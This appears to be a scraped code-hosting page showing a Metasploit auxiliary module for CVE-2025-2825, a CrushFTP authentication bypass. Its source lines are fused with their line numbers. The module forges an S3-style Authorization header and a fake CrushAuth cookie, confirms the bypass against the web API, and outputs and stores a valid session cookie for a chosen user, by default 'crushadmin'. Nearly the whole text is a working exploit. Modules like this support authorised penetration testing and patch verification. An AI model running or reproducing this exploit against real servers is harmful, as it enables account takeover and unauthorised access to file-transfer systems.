Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.rb
Views: 18083
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'CrushFTP AWS4-HMAC Authentication Bypass',13'Description' => %q{14This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers15with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API16to authenticate as that user without valid credentials. When successfully executed, the exploit will17output working session cookies for the target user account.18},19'License' => MSF_LICENSE,20'Author' => [21'Outpost24', # Initial Discovery22'remmons-r7' # MSF Module & Rapid7 Analysis23],24'References' => [25['CVE', '2025-2825'],26['URL', 'https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis']27],28'Notes' => {29'Stability' => [CRASH_SAFE],30# The CrushFTP.log file will contain a log of the HTTP requests31# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests32# The sessions.obj file will temporarily persist details of recent requests33'SideEffects' => [IOC_IN_LOGS],34'Reliability' => []35}36)37)3839register_options(40[41Opt::RPORT(8080),42OptString.new('TARGETUSER', [true, 'The target account to forge a session cookie for', 'crushadmin']),43OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/'])44]45)46end4748def run49# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie50print_status('Confirming the target is a CrushFTP web service')51res_anonymous = get_anon_session5253fail_with(Failure::Unknown, 'Connection failed - unable to get web API response') unless res_anonymous5455# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP56if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/57fail_with(Failure::Unknown, 'The target does not appear to be a CrushFTP web service')58end5960# Generate a properly formatted fake CrushFTP cookie61user_cookie = generate_fake_cookie6263print_status('Attempting to bypass authentication')64res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)6566# Confirm that the target returns an empty response, otherwise it shouldn't be vulnerable67fail_with(Failure::NotVulnerable, 'The target unexpectedly returned a response') if res_bypass6869print_good('The target returned the expected empty response and is likely vulnerable')7071# Perform a duplicate request to confirm the cookie is now authenticated72print_status('Attempting to access an authenticated API endpoint with the malicious session cookie')73res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)7475# Check for request failure, which indicates that the provided username is invalid76fail_with(Failure::BadConfig, 'Connection failed - the provided username is likely invalid') unless res_bypass7778# If the target doesn't return a success message, assume the exploit failed79if !res_bypass.body.include? "<response>success</response><username>#{datastore['TARGETUSER']}</username>"80fail_with(Failure::Unknown, 'Exploit failed - the target did not confirm authentication status')81end8283cookie_string = "Cookie: CrushAuth=#{user_cookie}; currentAuth=#{user_cookie.to_s[-4..]}"8485print_good("Authentication bypass succeeded! Cookie string generated\n#{cookie_string}\n")8687report_vuln(88host: rhost,89name: name,90refs: references91)9293store_loot('CrushAuth', 'text/plain', datastore['RHOST'], cookie_string)94end9596# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie97def get_anon_session98send_request_cgi(99'method' => 'GET',100'uri' => normalize_uri(target_uri.path, 'WebInterface/')101)102end103104def generate_fake_cookie105current_timestamp = Time.now.to_i106random_string = Rex::Text.rand_text_alphanumeric(30)107"#{current_timestamp}_#{random_string}"108end109110# Make a request to the getUsername web API with the malicious bypass header111def perform_auth_bypass(username, cookie)112send_request_cgi(113{114'method' => 'POST',115'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),116'cookie' => "CrushAuth=#{cookie}",117'headers' => {118'Connection' => 'close',119'Authorization' => "AWS4-HMAC-SHA256 Credential=#{username}/"120},121'vars_post' => {122'command' => 'getUsername',123# The c2f parameter must be the last four characters of the primary session cookie124'c2f' => cookie.to_s[-4..]125}126}127)128end129end130131132